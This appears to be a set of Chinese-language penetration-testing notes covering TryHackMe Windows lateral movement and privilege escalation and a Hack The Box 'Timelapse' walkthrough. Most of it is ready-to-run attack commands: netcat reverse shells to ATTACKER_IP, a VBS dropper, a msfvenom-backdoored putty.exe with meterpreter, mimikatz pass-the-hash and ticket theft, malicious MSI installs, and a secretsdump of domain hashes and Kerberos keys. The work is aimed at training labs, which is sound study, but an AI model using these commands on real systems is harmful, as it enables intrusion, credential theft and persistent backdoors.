Room Linkcurl http://distributor.za.tryhackme.com/creds -XPOST -d '__VIEWSTATE=mCapFrY0zRi%2Fx2BdkuFGt96H0EHOvPUUryY8ydQZmKI%2FRqeX4s1tuiBLZcrFua6Q2fK2r7DD2R7micbzJzCbin3H0mjJmYH%2BywtCRzG6XlI%3D&__VIEWSTATEGENERATOR=387396DE&__EVENTVALIDATION=x90rJRIPKn7xtnQjF1dxde6bF5ut7bePuWSuL%2BYw9HmjC4HTyVftBF49%2FgEn9dpH%2F2zE2dyr%2FVyh767EZgrPGmseAs8Ne%2BE6NqDt7BVCANtWxX%2Fs7N45VYw5P6mWBOnV&btnTestSettings=Get+Credentials' Username: suzanne.morris Password: P@ssw0rdPsexec, WinRM, sc, schtasksPsexec：Ports：445/TCP (SMB)Group Memberships: Administrators 工作方式： 连接到 Admin$ 共享并上传服务二进制文件，连接到服务控制管理器以创建并运行名为 PSEXESVC 的服务，创建一些命名管道来处理 stdin/stdout/stderr。psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exeWinRM：Ports：5895/TCP (WinRM HTTP) | 5896/TCP (WinRM HTTPS)Group Memberships: Remote Management UsersWindows 远程管理 (WinRM) 是一种基于 Web 的协议，用于远程向 Windows 主机发送 Powershell 命令。winrs.exe -u:Administrator -p:Mypass123 -r:target cmd // Poweshell Command $username = 'Administrator'; $password = 'Mypass123'; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Enter-PSSession -Computername TARGET -Credential $credential Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}sc：Ports：135/TCP, 49152-65535/TCP (DCE/RPC) | 445/TCP | 139/TCPGroup Memberships: Administrators将尝试使用DCE/RPC进行连接。客户端首先会连接到位于135端口的端点映射器（EPM），它充当可用RPC端点的目录，并请求SVCCTL服务程序的信息。然后，EPM将响应SVCCTL的IP地址和连接端口，这通常是在49152-65535范围内的动态端口。如果后一个连接失败，sc 将尝试通过端口 445 (SMB) 或 139（基于 NetBIOS 的 SMB）上的 SMB 命名管道到达 SVCCTL。// 服务启动时执行net user 命令创建一个新用户 sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto sc.exe \\TARGET start THMservice sc.exe \\TARGET stop THMservice sc.exe \\TARGET delete THMserviceschtasks：schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 schtasks /s TARGET /run /TN "THMtask1" schtasks /S TARGET /TN "THMtask1" /DELETE /FSMB上传文件smbclient -c 'put myservice.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4everrunas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443"C:\> sc.exe \\thmiis.za.tryhackme.com create THMservice-3249 binPath= "%windir%\myservice.exe" start= auto C:\> sc.exe \\thmiis.za.tryhackme.com start THMservice-3249WMI(Windows Management Instrumentation)# 创建PSCredential $username = 'Administrator'; $password = 'Mypass123'; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;DCOM：RPC over IP 将用于连接到 WMI。该协议使用端口 135/TCP 和端口 49152-65535/TCP，正如使用 sc.exe 时所解释的那样。Wsman：WinRM 将用于连接到 WMI。此协议使用端口 5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)。Powershell 建立 WMI 会话$Opt = New-CimSessionOption -Protocol DCOM $Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction StopWMI 远程创建进程$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere"; Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = $Command } # 旧系统 wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe" WMI 远程创建服务// 创建服务THMService2 Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{ Name = "THMService2"; DisplayName = "THMService2"; PathName = "net user munra2 Pass123 /add"; # Your payload ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process StartMode = "Manual" } // 启动THMService服务 $Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'" Invoke-CimMethod -InputObject $Service -MethodName StartService // 停止并删除THMService服务 Invoke-CimMethod -InputObject $Service -MethodName StopService Invoke-CimMethod -InputObject $Service -MethodName DeleteWMI 远程创建计划任务// 创建计划任务并启动 # Payload must be split in Command and Args $Command = "cmd.exe" $Args = "/c net user munra22 aSdf1234 /add" $Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2" Start-ScheduledTask -CimSession $Session -TaskName "THMtask2" // 删除 Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"通过 WMI 安装 MSI 包Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false} # 旧系统 wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msiPtH,PtT,PtKNTLM Authentication(NTML 认证)a. 客户端向他们想要访问的服务器发送身份验证请求。b. 服务器生成一个随机数并将其作为Challenge发送给客户端。c. 客户端将其 NTLM 密码哈希与challenge（以及其他已知数据）结合起来，生成对Challenge的Response，并将其发送回服务器进行验证。d. 服务器将Challenge和Response转发给域控制器进行验证。e. 域控制器使用Challenge重新计算Response并将其与客户端发送的初始响应进行比较。f. 服务器将认证结果转发给客户端。PTH(Pass-the-Hash) 攻击： 用于得到了无法破解的密码哈希mimikatz # privilege::debug mimikatz # token::elevate mimikatz # lsadump::sam // 常见的 xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP (管理员) evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH ----------------------------------------------- // 类似于runas /netonly mimikatz # token::revert mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555" Kerberos认证：PTT（Pass-the-Ticket）攻击：传递票证// 使用 mimikatz 从 LSASS 内存中提取 Kerberos 票证和会话密钥 (一般需要 SYSTEM权限 ) mimikatz # privilege::debug mimikatz # sekurlsa::tickets /export // 注入Ticket （不需要管理员权限） mimikatz # kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi // 检查是否注入成功 klistPtK（Overpass-the-hash / Pass-the-Key）// 获取key mimikatz # privilege::debug mimikatz # sekurlsa::ekeys // RC4 mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556" // AES128 mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556" // AES256 mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"VBS, Backdoor Exe,RDP HijackingvbsCreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, TrueBackdoormsfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exeRDP hijacking当管理员使用远程桌面连接到计算机并关闭 RDP 客户端而不是注销时，他的会话将无限期地在服务器上保持打开状态。如果您在 Windows Server 2016 及更早版本上拥有系统权限，则无需密码即可接管任何现有 RDP 会话。[Windows Server 2019 不允许您在不知道密码的情况下连接到其他用户的会话。]// 需要管理员权限 PsExec64.exe -s cmd.exe query session // 列出会话 tscon 3 /dest:rdp-tcp#6端口转发查看防火墙规则netsh advfirewall firewall show rule name=allSSH 远程端口转发(在跳板机上运行)ssh -R 13389:thmiis.za.tryhackme.com:3389 -N grace.brooks@10.50.98.17SSH 本地端口转发(攻击机)ssh -L 23389:thmiis.za.tryhackme.com:3389 grace.brooks@thmjmp2.za.tryhackme.com -N[post cid="529" /]Socat 端口转发// 跳板机上运行 socat -d -d TCP4-LISTEN:10131,fork TCP4:THMIIS.za.tryhackme.com:3389 // 攻击机运行 xfreerdp /v:THMJMP2.za.tryhackme.com:10131 /u:t1_thomas.moore /p:MyPazzw3rd2020复杂隧道跳板机上执行ssh tunneluser@ATTACKER_IP -R 8888:thmdc.za.tryhackme.com:80 -L *:6666:127.0.0.1:6666 -L *:7878:127.0.0.1:7878 -N ssh -L 8080:thmdc.za.tryhackme.com:80 -R 6666:thmjmp2.za.tryhackme.com:6666 -7878:thmjmp2.za.tryhackme.com:7878 -N grace.brooks@thmjmp2.za.tryhackme.com
runas.exe /netonly /u:username cmd.exe `/netonly` 选项用于在不加入域的情况下进行网络身份验证。Q: dir \\<Domain Name>\SYSVOL 和 dir \\<DC IP>\SYSVOL之间有什么区别A: 使用的身份验证方法。前者使用Kerberos身份验证【由于 Kerberos 身份验证使用票证中嵌入的主机名】，后者使用NTLM身份验证（更隐蔽）。net user UserName # 存在于本地用户帐户数据库 net user UserName /domain # 查询域控制器以获取该用户的详细信息 net group /domain # net group 命令只能在域控中使用 net account /domain # 密码策略AD-cmdlet: https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-psGet-ADUser -Identity gordon.stevens -Server za.tryhackme.com -Properties * Get-ADUser -Filter 'Name -like "*stevens"' -Server za.tryhackme.com | Format-Table Name,SamAccountName -A Get-ADGroup -Identity Administrators -Server za.tryhackme.com Get-ADGroupMember -Identity Administrators -Server za.tryhackme.comBloodHound - SharpHound => 版本需要对应BloodHound 文档 Overview摘要信息，帐户的活动会话数以及是否可以达到高价值目标Node PropertiesAD 帐户的信息：显示名称和标题Extra Properties更详细的 AD 信息：可分辨名称和帐户的创建时间Group Membership组成员身份：有关帐户所属组的信息Local Admin Rights本地管理员权限：具有管理权限的已加入域的主机的信息Execution Rights执行权限: 特殊权限的信息Outbound Control Rights出站控制权限: 有权修改其属性的 AD 对象的信息Inbound Control Rights入站控制权限: 可修改此帐户属性的 AD 对象的信息
Room Linkresmon.exe - 资源监视器 msinfo32.exe - 打开系统信息 compmgmt.msc - 计算机管理 UserAccountControlSettings.exe - 用户账户控制设置 control.exe - 控制面板 regedt32.exe - 注册表编辑器 takeown.exe - 获取文件或目录的所有权 accesschk.exe - 检查DACLwindows 查找可能存在的密码配置文件 C:\Unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml powershell 历史命令 %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt $env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt 凭据管理器 cmdkey /list IIS 配置文件（IIS Configuration） type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString runas 利用已保存的密码 runas /savecred /user:admin cmd.exe Putty 保存密码到注册表 reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s提权-初级计划任务（Scheduled Task）schtasks.exe /query /tn vulntask /fo list /v => 关注 Task To Run: （运行的程序位置） icacls.exe file_path => 查看文件的权限 schtasks.exe /run /tn vulntask => 重启服务 ----------------------------- AlwaysInstallElevated 策略： 允许 MSI（Microsoft Installer）安装包在提升的权限下安装，即使用户没有管理员权限。 C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer 利用： msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi滥用服务错误配置服务可执行文件可被修改sc qc ServerName => 关注 BINARY_PATH_NAME 和SERVICE_START_NAME=> 如果文件可以被修改,覆盖，然后重启服务=>sc stop ServerName,sc start ServerName未加引号的服务路径比较两个服务的BINARY_PATH_NAMEa. BINARY_PATH_NAME : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -serviceb. BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exea的路径是被双引号包裹，b没有，解析顺序依次如下命令参数1参数2C:\MyPrograms\Disk.exeSorterEnterprise\bin\disksrs.exeC:\MyPrograms\Disk Sorter.exeEnterprise\bin\disksrs.exe C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe 这与命令提示符分析命令的方式有关。通常，当您发送命令时，空格用作参数分隔符，除非它们是带引号的字符串的一部分。因此可以在C:\MyPrograms\ 目录下创建可执行文件Disk.exe => 重启服务（需要授予其全部权限icacls C:\MyPrograms\Disk.exe /grant Everyone:F)不安全的服务权限Sysinternals suite 工具Accesschk，用于检查服务的DACL（Discretionary Access Control List，即任意访问控制列表）accesschk64.exe -qlc ServiceNameWindows 权限列表： https://github.com/gtworek/Priv2AdminSeBackup / SeRestore ： 备份 hklm\system 和hklm\sam ( reg save hklm\system file.hive)SeTakeOwnership : takeown.exe /f => icacls =>替换文件SeImpersonate / SeAssignPrimaryToken: => RogueWinRM提权已安装的软件信息 wmic product get name,version,vendor自动化工具: winpeas: https://github.com/carlospolop/PEASS-ng/tree/master/winPEASPrivescCheck : https://github.com/itm4n/PrivescCheckwesng: https://github.com/bitsadmin/wesngmsf: multi/recon/local_exploit_suggester其他资源:PayloadsAllTheThings - Windows Privilege EscalationPriv2Admin - Abusing Windows PrivilegesRogueWinRM ExploitPotatoesDecoder's BlogToken KidnappingHacktricks - Windows Local Privilege Escalation
靶机信息 系统Windows难度Easy状态退役网址https://app.hackthebox.com/machines/Timelapse提权知识点zip爆破, pfx爆破,pfx提取公钥和证书, LAPSSMB发现压缩包爆破,获得pfx,爆破密码,提取公钥,证书,连接启动了ssl的winrm(5986端口)Powershell历史记录获得另一用户密码,LAPS读取密码,登录Administrator端口扫描└──╼ #nmap -sS -A -p- 10.129.227.113 -Pn Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-09 04:39 BST Nmap scan report for 10.129.227.113 Host is up (0.081s latency). Not shown: 65517 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-04-09 11:41:41Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ldapssl? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 3269/tcp open globalcatLDAPssl? 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | ssl-cert: Subject: commonName=dc01.timelapse.htb | Not valid before: 2021-10-25T14:05:29 |_Not valid after: 2022-10-25T14:25:29 | tls-alpn: |_ http/1.1 |_ssl-date: 2024-04-09T11:43:15+00:00; +7h59m59s from scanner time. |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49674/tcp open msrpc Microsoft Windows RPC 49737/tcp open msrpc Microsoft Windows RPC 50248/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port OS fingerprint not ideal because: Missing a closed TCP port so results incomplete No OS matches for host Network Distance: 2 hops Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-04-09T11:42:37 |_ start_date: N/A | smb2-security-mode: | 311: |_ Message signing enabled and required |_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m58s TRACEROUTE (using port 445/tcp) HOP RTT ADDRESS 1 84.36 ms 10.10.14.1 2 83.85 ms 10.129.227.113 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 209.55 secondsSMB_445$ smbmap -u ' ' -p '' -H 10.129.227.113 [+] IP: 10.129.227.113:445 Name: timelapse.htb Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC NETLOGON NO ACCESS Logon server share Shares READ ONLY SYSVOL NO ACCESS Logon server share # 下载所有文件 $ smbclient -N \\\\10.129.227.113\\Shares Try "help" to get a list of possible commands. smb: \> prompt smb: \> recurse smb: \> mget * getting file \Dev\winrm_backup.zip of size 2611 as Dev/winrm_backup.zip (1.8 KiloBytes/sec) (average 1.8 KiloBytes/sec) getting file \HelpDesk\LAPS.x64.msi of size 1118208 as HelpDesk/LAPS.x64.msi (119.4 KiloBytes/sec) (average 103.7 KiloBytes/sec) getting file \HelpDesk\LAPS_Datasheet.docx of size 104422 as HelpDesk/LAPS_Datasheet.docx (72.1 KiloBytes/sec) (average 100.0 KiloBytes/sec) getting file \HelpDesk\LAPS_OperationsGuide.docx of size 641378 as HelpDesk/LAPS_OperationsGuide.docx (253.1 KiloBytes/sec) (average 126.2 KiloBytes/sec) getting file \HelpDesk\LAPS_TechnicalSpecification.docx of size 72683 as HelpDesk/LAPS_TechnicalSpecification.docx (28.0 KiloBytes/sec) (average 111.5 KiloBytes/sec)压缩包有密码,使用zip2john winrm_backup.zip >> winrm.hash使用john爆破root@Kali /m/e/h/T/Dev$ john winrm.hash -w=/usr/share/wordlists/rockyou.txt supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx) # 查看 pfx 的信息 root@Kali /m/e/h/T/Dev$ openssl pkcs12 -in legacyy_dev_auth.pfx -info Enter Import Password: # 提取 # 都需要密码 ,进行爆破 root@Kali /m/e/h/T/Dev$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes Enter Import Password: Mac verify error: invalid password? # 爆破 root@Kali /m/e/h/T/Dev [1]$ pfx2john legacyy_dev_auth.pfx >> pfx.hash root@Kali /m/e/h/T/Dev$ john pfx.hash -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 thuglegacy (legacyy_dev_auth.pfx) GetShell有个公钥和证书,连接winrm(5986端口),开起了sslevil-winrm -i 10.129.227.113 -c cert.pem -k key.pem -S > whoami /all User Name SID ================= ============================================ timelapse\legacyy S-1-5-21-671920749-559770252-3318990721-1603 TIMELAPSE\Development上传winpeas.exe跑一下,值的关注的信息# Powershell 历史命令 1918 │ File: C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt Computer Name : DC01 User Name : Administrator User Id : 500 Is Enabled : True User Type : Administrator ============================================================================== Computer Name : DC01 User Name : thecybergeek User Id : 1601 Is Enabled : True User Type : Administrator =============================================================================== Computer Name : DC01 User Name : payl0ad User Id : 1602 Is Enabled : True User Type : Administrator =============================================================================== Computer Name : DC01 User Name : legacyy User Id : 1603 Is Enabled : True User Type : User =============================================================================== Computer Name : DC01 User Name : svc_deploy User Id : 3103 Is Enabled : True User Type : User =============================================================================== Computer Name : DC01 User Name : TRX User Id : 5101 Is Enabled : True User Type : Administrator提权横向移动(Powershell历史命令)在历史命令中获得了另一个账户的密码*Evil-WinRM* PS C:\Users\legacyy\Documents> type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt whoami ipconfig /all netstat -ano |select-string LIST $so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck $p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force $c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p) invoke-command -computername localhost -credential $c -port 5986 -usessl - SessionOption $so -scriptblock {whoami} get-aduser -filter * -properties * exitsvc_deploy 属于Remote Management Use组,也可以使用evil-winrm进行连接 evil-winrm -i 10.129.227.113 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S成功移动到用户svc_deploy遛个狗先bloodhound-python -c all -d timelapse.htb -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -ns 10.129.227.113 --zipLAPS提权LAPS 全称为 Local Administrator Password Solution（本地管理员密码解决方案）参考: https://blog.netwrix.com/2021/08/25/running-laps-in-the-race-to-security/https://www.rotta.rocks/penetration-testing/windows-privilege-escalation/dumping-secrets#local-administrator-password-solution-laps使用Powershell命令*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-ADComputer DC01 -property 'ms-mcs-admpwd' ms-mcs-admpwd : $&687dc!.vi,.(d)e.)4U$rr获得密码$&687dc!.vi,.(d)e.)4U$rr (会定期自动修改)使用pyLAPs.py$ python3 pyLAPS.py -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -d timelapse.htb __ ___ ____ _____ ____ __ __/ / / | / __ \/ ___/ / __ \/ / / / / / /| | / /_/ /\__ \ / /_/ / /_/ / /___/ ___ |/ ____/___/ / / .___/\__, /_____/_/ |_/_/ /____/ v1.2 /_/ /____/ @podalirius_ [+] Extracting LAPS passwords of all computers ... | DC01$ : $&687dc!.vi,.(d)e.)4U$rr [+] All done!使用evil-winrm进行连接evil-winrm -i 10.129.227.113 -u 'administrator' -p '$&687dc!.vi,.(d)e.)4U$rr' -Sroot flag在用户trx的桌面上Dump hash获得了System 权限,down一下所有的用户hash$ secretsdump.py timelapse.htb/administrator:'$&687dc!.vi,.(d)e.)4U$rr'@10.129.227.113 Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra [*] Target system bootKey: 0xd88b7b8c98a711544956c8ac71fbe251 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:6b16cb063fdaddb773ba256dd72a14b7::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information. [*] Dumping cached domain logon information (domain/username:hash) [*] Dumping LSA Secrets [*] $MACHINE.ACC TIMELAPSE\DC01$:aes256-cts-hmac-sha1-96:3df18035eb661e10c1ad3d06343a832c740f9d1bd9782a694622a02a670eaba9 TIMELAPSE\DC01$:aes128-cts-hmac-sha1-96:a9ad736abc93513a69a228ac7354b787 TIMELAPSE\DC01$:des-cbc-md5:ab980168736746ef TIMELAPSE\DC01$:plain_password_hex:fa24e848ab750d28f1ae7449ccc8f70c25ef0ee09dc907274018283c67952f2340483257f33223c4454ea2824370b7d201fd1a20d790cb09862fd80562822054ed636e719cd241da47faca1e76f257a822854f6c026a175fba652bf601df83bec38bc6815ba037435445826a7e0c122b64a0d41d2e324b8f7cd35f15f3e65446ba9f9ea76bb1fb357e0e2545b9ab8ac40cb003e948dba6e7fcdf1b96e296c7503ac42b4d4553b0b270d4c45b8990986d472237b9e98691803b4f82d7441138ad1e5f14e49e3c0140a4c2a3acfefbc4ca50fa1ac997f38f2a224dc07d4d90c9959626491b4733bc64868fc70389d362e0 TIMELAPSE\DC01$:aad3b435b51404eeaad3b435b51404ee:8b0f7ae0213262229993b83ad3d0406c::: [*] DPAPI_SYSTEM dpapi_machinekey:0xbc6b4be0de66f262c75df7ae4f7dadf34fa03ddc dpapi_userkey:0x074fe8860a0fbca40b902c409998b1b9cd332cd1 [*] NL$KM 0000 AE 8C BD 2F 8A B9 48 87 5F F2 1E 2C 42 14 57 5E .../..H._..,B.W^ 0010 90 E6 1C AC CD 23 42 26 CE D7 1F B5 D3 7F D6 44 .....#B&.......D 0020 6B 29 7B 58 FF 89 BD A7 45 96 EF 5A 96 B1 E1 07 k){X....E..Z.... 0030 1F 71 9D 9D 0F E1 1D 1E 3A 95 DD 4F 13 A9 A6 92 .q......:..O.... NL$KM:ae8cbd2f8ab948875ff21e2c4214575e90e61caccd234226ced71fb5d37fd6446b297b58ff89bda74596ef5a96b1e1071f719d9d0fe11d1e3a95dd4f13a9a692 [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:08b804b8be1f1abe7daf78b83149b72e::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:2960d580f05cd511b3da3d3663f3cb37::: timelapse.htb\thecybergeek:1601:aad3b435b51404eeaad3b435b51404ee:c81875d2b3cd404f3c8eadc820248f06::: timelapse.htb\payl0ad:1602:aad3b435b51404eeaad3b435b51404ee:f63b1edaad2ee253c3c228c6e08d1ea0::: timelapse.htb\legacyy:1603:aad3b435b51404eeaad3b435b51404ee:93da975bcea111839cc584f2f528d63e::: timelapse.htb\sinfulz:1604:aad3b435b51404eeaad3b435b51404ee:72b236d9b0d49860267f752f1dfc8103::: timelapse.htb\babywyrm:1605:aad3b435b51404eeaad3b435b51404ee:d47c7e33d6911bb742fdf040af2e80da::: timelapse.htb\svc_deploy:3103:aad3b435b51404eeaad3b435b51404ee:c912f3533b7114980dd7b6094be1a9d8::: timelapse.htb\TRX:5101:aad3b435b51404eeaad3b435b51404ee:4c7121d35cd421cbbd3e44ce83bc923e::: DC01$:1000:aad3b435b51404eeaad3b435b51404ee:8b0f7ae0213262229993b83ad3d0406c::: DB01$:1606:aad3b435b51404eeaad3b435b51404ee:d9c629d35e3311abba1631dba29ead96::: WEB01$:1607:aad3b435b51404eeaad3b435b51404ee:3b2910d8e6c79bbb20e8842ea4a9aeac::: DEV01$:1608:aad3b435b51404eeaad3b435b51404ee:463c7639ff204594dfbebbe71b3c6dbb::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:c5063c45ef463b18e60e51ab287e9d3cff52daf7caf1df132b20dc05b34f2f05 Administrator:aes128-cts-hmac-sha1-96:9494a353bed5f618000677490e442eb3 Administrator:des-cbc-md5:3d9e73ce0ba423c2 krbtgt:aes256-cts-hmac-sha1-96:ae4798139ee96d519e7c4678bb77986e2aaa227773b2dfa8d5908f19710a5d5f krbtgt:aes128-cts-hmac-sha1-96:6a29eb8152bd9e373bb8512a18cbc029 krbtgt:des-cbc-md5:459876d080fd102c timelapse.htb\thecybergeek:aes256-cts-hmac-sha1-96:1ce6ed23ae74f98e9fb4492b1d6da4abd53050cec84690dba0947da6f5072f7f timelapse.htb\thecybergeek:aes128-cts-hmac-sha1-96:c9afa87f35f474a9111d52234ece52f6 timelapse.htb\thecybergeek:des-cbc-md5:c83e677c0e376238 timelapse.htb\payl0ad:aes256-cts-hmac-sha1-96:6588d1e91e012cfe69932d2f80f1d55d77b224822472021902735d70bab836dc timelapse.htb\payl0ad:aes128-cts-hmac-sha1-96:527f8211d77499d99df13c572d4553c0 timelapse.htb\payl0ad:des-cbc-md5:25adceec4c613bb0 timelapse.htb\legacyy:aes256-cts-hmac-sha1-96:710b7e9c9374e4e306e6a9e599ae5f615f4e3e1acabb8a9183ef1d5358a46143 timelapse.htb\legacyy:aes128-cts-hmac-sha1-96:60adfce798b2431f2dee6993b119d591 timelapse.htb\legacyy:des-cbc-md5:160be04ae694e661 timelapse.htb\sinfulz:aes256-cts-hmac-sha1-96:9ce922adc954b7671fea5ff4f68ee1a00ccd18747856cefdfeb6b695dfa2c73b timelapse.htb\sinfulz:aes128-cts-hmac-sha1-96:504fe2766f85d602ed947ee21f4e0c4e timelapse.htb\sinfulz:des-cbc-md5:04cedc589234b97a timelapse.htb\babywyrm:aes256-cts-hmac-sha1-96:98231e7161d5bcdb1db93ab0bf989434e6a6c6d86cfe10977a15eae461b29836 timelapse.htb\babywyrm:aes128-cts-hmac-sha1-96:e591049c737616153abafe43b68fa0e6 timelapse.htb\babywyrm:des-cbc-md5:316ebf795b52ea43 timelapse.htb\svc_deploy:aes256-cts-hmac-sha1-96:10cb46d648b9cc5774fd381c0b43e91c271ec59dada000b01c7ab3f4e614ddd1 timelapse.htb\svc_deploy:aes128-cts-hmac-sha1-96:33493640af7e815f2ecfbf59d9dedcee timelapse.htb\svc_deploy:des-cbc-md5:c80edfb0ea262613 timelapse.htb\TRX:aes256-cts-hmac-sha1-96:61d799ac74cd09e38786fcda8196705477b7871c15e0cd828849530783f2c93d timelapse.htb\TRX:aes128-cts-hmac-sha1-96:6948c570d61f5a3c9a941524a809eb3f timelapse.htb\TRX:des-cbc-md5:269468abe01329ad DC01$:aes256-cts-hmac-sha1-96:3df18035eb661e10c1ad3d06343a832c740f9d1bd9782a694622a02a670eaba9 DC01$:aes128-cts-hmac-sha1-96:a9ad736abc93513a69a228ac7354b787 DC01$:des-cbc-md5:38ec673d5b833bad 